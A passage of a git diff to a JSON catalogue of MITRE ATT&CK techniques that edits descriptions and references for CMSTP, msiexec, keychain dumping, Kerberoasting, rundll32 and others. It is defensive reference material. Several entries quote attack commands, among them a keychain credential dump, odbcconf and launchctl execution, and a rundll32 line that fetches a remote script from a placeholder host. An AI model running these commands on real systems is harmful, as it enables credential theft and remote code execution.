and iOS, users must explicitly authorize the use of third-party keyboard apps. Users should be advised to use extreme caution before granting this authorization when it is requested.\n* Abusing accessibility features. On Android, adversaries may abuse accessibility features to record keystrokes by registering an `AccessibilityService` class, overriding the `onAccessibilityEvent` method, and listening for the `AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED` event type. The event object passed into the function will contain the data that the user typed. \n*Additional methods of keylogging may be possible if root access is available. \n", - "meta": { - "external_id": "AUT-13", - "kill_chain": [ - "mitre-mobile-attack:collection", - "mitre-mobile-attack:credential-access" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1417/001", - "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-13.html", - "https://zeltser.com/third-party-keyboards-security/" - ] - }, - "related": [ - { - "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", - "type": "subtechnique-of" - } - ], - "uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", - "value": "Keylogging - T1417.001" - }, { "description": "Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n", "meta": { @@ -27149,7 +24102,7 @@ "value": "Sharepoint - T1213.002" }, { - "description": "Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)", + "description": "Adversaries may abuse CMSTP to proxy execution of malicious code. The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate, signed Microsoft application.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)", "meta": { "external_id": "T1218.003", "kill_chain": [ @@ -27183,7 +24136,7 @@ "value": "CMSTP - T1218.003" }, { - "description": "Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe.\n\nInstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)", + "description": "Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe.\n\nInstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)", "meta": { "external_id": "T1218.004", "kill_chain": [ @@ -27233,7 +24186,7 @@ "https://en.wikipedia.org/wiki/HTML_Application", "https://lolbas-project.github.io/lolbas/Binaries/Mshta/", "https://msdn.microsoft.com/library/ms536471.aspx", - "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf", + "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf", "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html", "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html", "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/" @@ -27277,32 +24230,7 @@ "value": "Hardware - T1592.001" }, { - "description": "Adversaries may use a device’s geographical location to limit certain malicious behaviors. For example, malware operators may limit the distribution of a second stage payload to certain geographic regions.(Citation: Lookout eSurv)\n\n[Geofencing](https://attack.mitre.org/techniques/T1627/001) is accomplished by persuading the user to grant the application permission to access location services. The application can then collect, process, and exfiltrate the device’s location to perform location-based actions, such as ceasing malicious behavior or showing region-specific advertisements. \n\nOne method to accomplish [Geofencing](https://attack.mitre.org/techniques/T1627/001) on Android is to use the built-in Geofencing API to automatically trigger certain behaviors when the device enters or exits a specified radius around a geographical location. Similar to other [Geofencing](https://attack.mitre.org/techniques/T1627/001) methods, this requires that the user has granted the `ACCESS_FINE_LOCATION` and `ACCESS_BACKGROUND_LOCATION` permissions. The latter is only required if the application targets Android 10 (API level 29) or higher. However, Android 11 introduced additional permission controls that may restrict background location collection based on user permission choices at runtime. These additional controls include \"Allow only while using the app\", which will effectively prohibit background location collection. \n\nSimilarly, on iOS, developers can use built-in APIs to setup and execute geofencing. Depending on the use case, the app will either need to call `requestWhenInUseAuthorization()` or `requestAlwaysAuthorization()`, depending on when access to the location services is required. Similar to Android, users also have the option to limit when the application can access the device’s location, including one-time use and only when the application is running in the foreground. \n\n[Geofencing](https://attack.mitre.org/techniques/T1627/001) can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. For example, location data could be used to limit malware spread and/or capabilities, which could also potentially evade application analysis environments (ex: malware analysis outside of the target geographic area). Other malicious usages could include showing language-specific input prompts and/or advertisements.", - "meta": { - "external_id": "T1627.001", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1627/001", - "https://blog.lookout.com/esurv-research" - ] - }, - "related": [ - { - "dest-uuid": "498e7b81-238d-404c-aa5e-332904d63286", - "type": "subtechnique-of" - } - ], - "uuid": "e422b6fa-4739-46b9-992e-82f1b350c780", - "value": "Geofencing - T1627.001" - }, - { - "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.\n\nAdversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)", + "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) Msiexec.exe is digitally signed by Microsoft.\n\nAdversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it is signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)", "meta": { "external_id": "T1218.007", "kill_chain": [ @@ -27335,7 +24263,7 @@ "value": "Msiexec - T1218.007" }, { - "description": "Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.\n\nAdversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S /A {REGSVR \"C:\\Users\\Public\\file.dll\"}). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) \n", + "description": "Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) Odbcconf.exe is digitally signed by Microsoft.\n\nAdversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S /A {REGSVR \"C:\\Users\\Public\\file.dll\"}). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) \n", "meta": { "external_id": "T1218.008", "kill_chain": [ @@ -27366,32 +24294,6 @@ "uuid": "6e3bd510-6b33-41a4-af80-2d80f3ee0071", "value": "Odbcconf - T1218.008" }, - { - "description": "Adversaries may collect keychain data from an iOS device to acquire credentials. Keychains are the built-in way for iOS to keep track of users' passwords and credentials for many services and features such as Wi-Fi passwords, websites, secure notes, certificates, private keys, and VPN credentials. \n\nOn the device, the keychain database is stored outside of application sandboxes to prevent unauthorized access to the raw data. Standard iOS APIs allow applications access to their own keychain contained within the database. By utilizing a privilege escalation exploit or existing root access, adversaries can access the entire encrypted database.(Citation: Apple Keychain Services)(Citation: Elcomsoft Decrypt Keychain) ", - "meta": { - "external_id": "AUT-11", - "kill_chain": [ - "mitre-mobile-attack:credential-access" - ], - "mitre_platforms": [ - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1634/001", - "https://blog.elcomsoft.com/2018/12/six-ways-to-decrypt-iphone-passwords-from-the-keychain/", - "https://developer.apple.com/documentation/security/keychain_services", - "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-11.html" - ] - }, - "related": [ - { - "dest-uuid": "cc6e0637-76d2-4af3-a604-9d8d3ff8a6b3", - "type": "subtechnique-of" - } - ], - "uuid": "8605a0ec-b44a-4e98-a7fc-87d4bd3acb66", - "value": "Keychain - T1634.001" - }, { "description": "Adversaries may purchase domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.\n\nAdversaries can use purchased domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries can also use internationalized domain names (IDNs) to create visually similar lookalike domains for use in operations.(Citation: CISA IDN ST05-016)\n\nDomain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)", "meta": { @@ -27428,7 +24330,7 @@ "value": "Domains - T1583.001" }, { - "description": "Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.(Citation: Krebs DNS Hijack 2019)\n\nSubdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)", + "description": "Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) An adversary may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.\n\nSubdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)", "meta": { "external_id": "T1584.001", "kill_chain": [ @@ -27445,7 +24347,6 @@ "refs": [ "https://attack.mitre.org/techniques/T1584/001", "https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover", - "https://krebsonsecurity.com/2019/02/a-deep-dive-on-the-recent-widespread-dns-hijacking-attacks/", "https://www.icann.org/groups/ssac/documents/sac-007-en" ] }, @@ -27459,7 +24360,7 @@ "value": "Domains - T1584.001" }, { - "description": "Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple’s iCloud service. \n\nKeychains can be viewed and edited through the Keychain Access application or using the command-line utility security. Keychain files are located in ~/Library/Keychains/, /Library/Keychains/, and /Network/Library/Keychains/.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)\n\nAdversaries may gather user credentials from Keychain storage/memory. For example, the command security dump-keychain –d will dump all Login Keychain credentials from ~/Library/Keychains/login.keychain-db. Adversaries may also directly read Login Keychain credentials from the ~/Library/Keychains/login.keychain file. Both methods require a password, where the default password for the Login Keychain is the current user’s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt) ", + "description": "Adversaries may collect the keychain storage data from a system to acquire credentials. Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. (Citation: Wikipedia keychain) The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials.", "meta": { "external_id": "T1555.001", "kill_chain": [ @@ -27468,8 +24369,7 @@ "mitre_data_sources": [ "Command: Command Execution", "File: File Access", - "Process: OS API Execution", - "Process: Process Creation" + "Process: OS API Execution" ], "mitre_platforms": [ "macOS" @@ -27477,10 +24377,7 @@ "refs": [ "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way", "https://attack.mitre.org/techniques/T1555/001", - "https://developer.apple.com/documentation/security/keychain_services", - "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/keychaindump_decrypt.py", - "https://support.passware.com/hc/en-us/articles/4573379868567-A-Deep-Dive-into-Apple-Keychain-Decryption", - "https://www.netmeister.org/blog/keychain-passwords.html" + "https://en.wikipedia.org/wiki/Keychain_(software)" ] }, "related": [ @@ -27492,37 +24389,6 @@ "uuid": "1eaebf46-e361-4437-bc23-d5d65a3b92e3", "value": "Keychain - T1555.001" }, - { - "description": "Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\n\nList-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a SysListView32 control.\n\nListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process’ memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\n\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) \n\nFinally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback.", - "meta": { - "external_id": "T1055.015", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:privilege-escalation" - ], - "mitre_data_sources": [ - "Process: OS API Execution", - "Process: Process Modification" - ], - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1055/015", - "https://docs.microsoft.com/windows/win32/controls/list-view-controls-overview", - "https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/", - "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf" - ] - }, - "related": [ - { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", - "type": "subtechnique-of" - } - ], - "uuid": "eb2cb5cb-ae87-4de0-8c35-da2a17aafb99", - "value": "ListPlanting - T1055.015" - }, { "description": "Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)\n\nAdversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: launchctl load,launchctl unload, and launchctl start. Adversaries can use scripts or manually run the commands launchctl load -w \"%s/Library/LaunchAgents/%s\" or /bin/launchctl load to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)\n", "meta": { @@ -27573,8 +24439,8 @@ "https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/", "https://attack.mitre.org/techniques/T1587/001", "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/", - "https://therecord.media/fbi-fin7-hackers-target-us-companies-with-badusb-devices-to-install-ransomware/", "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf", + "https://www.losangeles.va.gov/documents/MI-000120-MW.pdf", "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf" ] }, @@ -27759,7 +24625,7 @@ "value": "ROMMONkit - T1542.004" }, { - "description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\\Windows\\System32\\, and C:\\Windows\\sysWOW64\\ on 64-bit Windows systems, along with screensavers included with base Windows installations.\n\nThe following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\) and could be manipulated to achieve persistence:\n\n* SCRNSAVE.exe - set to malicious PE path\n* ScreenSaveActive - set to '1' to enable the screensaver\n* ScreenSaverIsSecure - set to '0' to not require a password to unlock\n* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)", + "description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\\Windows\\System32\\, and C:\\Windows\\sysWOW64\\ on 64-bit Windows systems, along with screensavers included with base Windows installations.\n\nThe following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\) and could be manipulated to achieve persistence:\n\n* SCRNSAVE.exe - set to malicious PE path\n* ScreenSaveActive - set to '1' to enable the screensaver\n* ScreenSaverIsSecure - set to '0' to not require a password to unlock\n* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)", "meta": { "external_id": "T1546.002", "kill_chain": [ @@ -27903,7 +24769,7 @@ "value": "Botnet - T1583.005" }, { - "description": "Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) \n\nService principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same behavior could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)", + "description": "Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) \n\nService principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same attack could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)", "meta": { "external_id": "CAPEC-509", "kill_chain": [ @@ -28000,7 +24866,7 @@ "value": "Trap - T1546.005" }, { - "description": "Adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems.(Citation: Imperva DDoS for Hire) Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).", + "description": "Adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service(Citation: Imperva DDoS for Hire), adversaries may build their own botnet by compromising numerous third-party systems. Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).", "meta": { "external_id": "T1584.005", "kill_chain": [ @@ -28127,7 +24993,7 @@ "value": "Vulnerabilities - T1588.006" }, { - "description": "Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).\n\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\n\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).\n\nAdditionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) ", + "description": "Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).\n\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe 